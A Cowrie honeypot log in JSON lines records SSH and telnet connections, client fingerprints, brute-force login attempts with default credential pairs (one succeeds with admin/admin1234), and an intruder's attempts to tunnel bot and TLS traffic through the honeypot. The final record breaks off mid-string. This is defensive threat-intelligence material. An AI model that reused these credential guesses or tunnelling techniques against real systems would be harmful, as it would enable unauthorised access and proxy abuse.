{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23446,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c580fc753f3","protocol":"ssh","message":"New connection: 91.92.40.36:23446 (159.203.135.109:22) [session: 8c580fc753f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:40.464106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:41.093647Z","src_ip":"91.92.40.36","session":"8c580fc753f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:42.232407Z","src_ip":"91.92.40.36","session":"8c580fc753f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56794,"dst_ip":"159.203.135.109","dst_port":23,"session":"46ddc4398c5b","protocol":"telnet","message":"New connection: 172.81.62.90:56794 (159.203.135.109:23) [session: 46ddc4398c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:44.767859Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63900,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf569654e79f","protocol":"ssh","message":"New connection: 123.27.168.40:63900 (10.17.0.5:22) [session: cf569654e79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:45.501947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:45.506383Z","src_ip":"123.27.168.40","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:45.758474Z","src_ip":"123.27.168.40","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:46.842392Z","src_ip":"123.27.168.40","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20638,"dst_ip":"159.203.135.109","dst_port":22,"session":"e80ac630f239","protocol":"ssh","message":"New connection: 91.92.40.36:20638 (159.203.135.109:22) [session: e80ac630f239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:47.037963Z"}
{"eventid":"cowrie.login.failed","username":"sales","password":"password","message":"login attempt [sales/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:47.107004Z","src_ip":"91.92.40.36","session":"8c580fc753f3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:47.157863Z","src_ip":"91.92.40.36","session":"e80ac630f239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:47.161494Z","src_ip":"91.92.40.36","session":"e80ac630f239","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:47.373870Z","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:47.493829Z","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:47.623639Z","src_ip":"123.27.168.40","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.85 Mobile/19A346 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=fUk3dG0wWV5oeUl1a0lfIQ%3D%3De0crpizRTZYUemfys0ExBpfsx3G3lZhyXcCYkEmbtfs9k06GA9W%2BEtTATSrio6hPf6gCicSvb8AiMpMTC8Hc71BK868xJMe%2FVvXLTX0R%2FRn%2B66OwEsuTKYM2l3crSV3W4HDzkpm6R15KDSZOijsfnsSRxzMjSkVNBsUSwBTprcZmNXt5WYSH2Gqy%2BYxotBQ3Q1unj7TTlaziy%2B44KVRJUMJFYE3KWZxkzQKoccZRojF8ctkz%2FSkvLifyy3DtZDUByziaOTfX730bUtXQmHf8ZjRYAHolUK3pC0jqE2y6W7NDA%2B0pzTctqgOPv1IZS%2FgaEPAdMWPY%2Fe%2FFg2MbEYWXEWHzEBwsGmv%2BoZ1fqoLKY1YNODHXVSvXXuonOa4vPjahUkvIVuKzjapVc0IcYAratH74F%2FMCu4LnbQO1490PBGw5BQfeBtz17Gms3JEPqlZKdFxU0f%2FcHLrEXNg4TeC93am6zO97smW9%2Fe3w0dkeb%2FDnR0Vm7oxjta%2BCFnFidfgv%2FqAWfitc2jXmXhecu%2BnRaI0BwaU5z2ErLsEGBjg1jozdNRo8MCtQyrzx%2B%2Be3bcEJuX2DbavRV5m5vun4gm9GVRGfhENEbUXS3AEQFjZsQqVgkURc4e4yDGmF2ejq6K0%2F7F4hdLP7Z%2BtcCbpLOYfwJZC8JLa47bQWcEXRuZLcTpkhcoq37jKk9r8bCOhplMEaVaXLTAvZL6SZK9AftE3lgQaNwNx9Bfs7%2BRvKwaSG2uUQ0jygHmFprgEIebOvuy6tb9sIS7%2BwckK%2Bj4k6jEWUnXM5%2BHAu5LJBsJWz6uHYkl33P2V92Z9q3Bjg%2FFdJKBncHfCLyhpHF1BGd%2Bmum%2BoLjUJOn4xnec%2Forh21malSuMAPEgMHHs94ymUlDVy3MYXOzYmwpcEsyCwRDyIeL8Oy5oQylp%2BGOH73aeOYGiohZEUk%2BYJiwxBiFYDgoSftJBhxuUPWud%2FSWoTDPzEAziae%2BBYLVxmy8npL97fku3bu6jR8yQxtyMWGmgkFEiUgRIFiC5WwJ0sGO9dbHRfXac3mdlFOIqEOU4D9%2B4lCGiQO1bA%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.85 Mobile/19A346 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=fUk3dG0wWV5oeUl1a0lfIQ%3D%3De0crpizRTZYUemfys0ExBpfsx3G3lZhyXcCYkEmbtfs9k06GA9W%2BEtTATSrio6hPf6gCicSvb8AiMpMTC8Hc71BK868xJMe%2FVvXLTX0R%2FRn%2B66OwEsuTKYM2l3crSV3W4HDzkpm6R15KDSZOijsfnsSRxzMjSkVNBsUSwBTprcZmNXt5WYSH2Gqy%2BYxotBQ3Q1unj7TTlaziy%2B44KVRJUMJFYE3KWZxkzQKoccZRojF8ctkz%2FSkvLifyy3DtZDUByziaOTfX730bUtXQmHf8ZjRYAHolUK3pC0jqE2y6W7NDA%2B0pzTctqgOPv1IZS%2FgaEPAdMWPY%2Fe%2FFg2MbEYWXEWHzEBwsGmv%2BoZ1fqoLKY1YNODHXVSvXXuonOa4vPjahUkvIVuKzjapVc0IcYAratH74F%2FMCu4LnbQO1490PBGw5BQfeBtz17Gms3JEPqlZKdFxU0f%2FcHLrEXNg4TeC93am6zO97smW9%2Fe3w0dkeb%2FDnR0Vm7oxjta%2BCFnFidfgv%2FqAWfitc2jXmXhecu%2BnRaI0BwaU5z2ErLsEGBjg1jozdNRo8MCtQyrzx%2B%2Be3bcEJuX2DbavRV5m5vun4gm9GVRGfhENEbUXS3AEQFjZsQqVgkURc4e4yDGmF2ejq6K0%2F7F4hdLP7Z%2BtcCbpLOYfwJZC8JLa47bQWcEXRuZLcTpkhcoq37jKk9r8bCOhplMEaVaXLTAvZL6SZK9AftE3lgQaNwNx9Bfs7%2BRvKwaSG2uUQ0jygHmFprgEIebOvuy6tb9sIS7%2BwckK%2Bj4k6jEWUnXM5%2BHAu5LJBsJWz6uHYkl33P2V92Z9q3Bjg%2FFdJKBncHfCLyhpHF1BGd%2Bmum%2BoLjUJOn4xnec%2Forh21malSuMAPEgMHHs94ymUlDVy3MYXOzYmwpcEsyCwRDyIeL8Oy5oQylp%2BGOH73aeOYGiohZEUk%2BYJiwxBiFYDgoSftJBhxuUPWud%2FSWoTDPzEAziae%2BBYLVxmy8npL97fku3bu6jR8yQxtyMWGmgkFEiUgRIFiC5WwJ0sGO9dbHRfXac3mdlFOIqEOU4D9%2B4lCGiQO1bA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:47.627568Z","src_ip":"123.27.168.40","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:47.878071Z","src_ip":"123.27.168.40","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfcr\\xc71\\x80\\xd6i<\\xb6\\x1b\\xae\\x03)X(\\xe8\\xacC\\x81\\x96\\x8e\\xbf\\x0f<g\\xcb\\xe3U\\x1arN\\x06 cK\\x99\\xb5p\\x93\\xfc\\x8b\\x9e\\x04F\\xcd\\xec\\xff\\xf6\\x00\\x0e;\\xdf\\x1c\\xa3\\xffD\\xdf\\xdc<9\\xc2\\x82i\\xcf\\x11\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x07\\xd5z\\xd0%\\xfb\\xed\\x06\\x97\\x84\\xcb\\xdf\\xfeW3\\xb9\\x96[\\x02\\x95x\\xe1~\\xe2?h\\xf8s\\x8ftjA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfcr\\xc71\\x80\\xd6i<\\xb6\\x1b\\xae\\x03)X(\\xe8\\xacC\\x81\\x96\\x8e\\xbf\\x0f<g\\xcb\\xe3U\\x1arN\\x06 cK\\x99\\xb5p\\x93\\xfc\\x8b\\x9e\\x04F\\xcd\\xec\\xff\\xf6\\x00\\x0e;\\xdf\\x1c\\xa3\\xffD\\xdf\\xdc<9\\xc2\\x82i\\xcf\\x11\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x07\\xd5z\\xd0%\\xfb\\xed\\x06\\x97\\x84\\xcb\\xdf\\xfeW3\\xb9\\x96[\\x02\\x95x\\xe1~\\xe2?h\\xf8s\\x8ftjA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:47.882879Z","src_ip":"123.27.168.40","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123123","message":"login attempt [guest/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:47.943871Z","src_ip":"91.92.40.36","session":"e80ac630f239","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:48.376472Z","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:48.632325Z","src_ip":"123.27.168.40","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03-\\xa3\\xabj\\xa9\\x1eJX\\x02\\xcb\\xfd\\x1c\\xee\\x0b\\x80z\\x92[1\\xf4\\x92\\xb4{7\\x80(v\\xfe\\xf0\\x85\\xd3\\x7f d\\x1d\\x9e\\x88/^\\x08\\xad\\xe6F\\xa6\\x01J\\xe9U\\xb3\\x80\\xa7\\x0b,\\x02@\\xd4\\xcc\\xae\\xa7s\\xf3p\\xb4\\xdcy\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x91[k\\x8c,\\x90m\\xd3\\x91\\x9c\\x0e\\xe0\\x97\\xed\\xce>\\xb8\\x19\\x185\\x87\\xae1Y\\xf2\\xde\\xa8\\xdfu\\xdd1[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\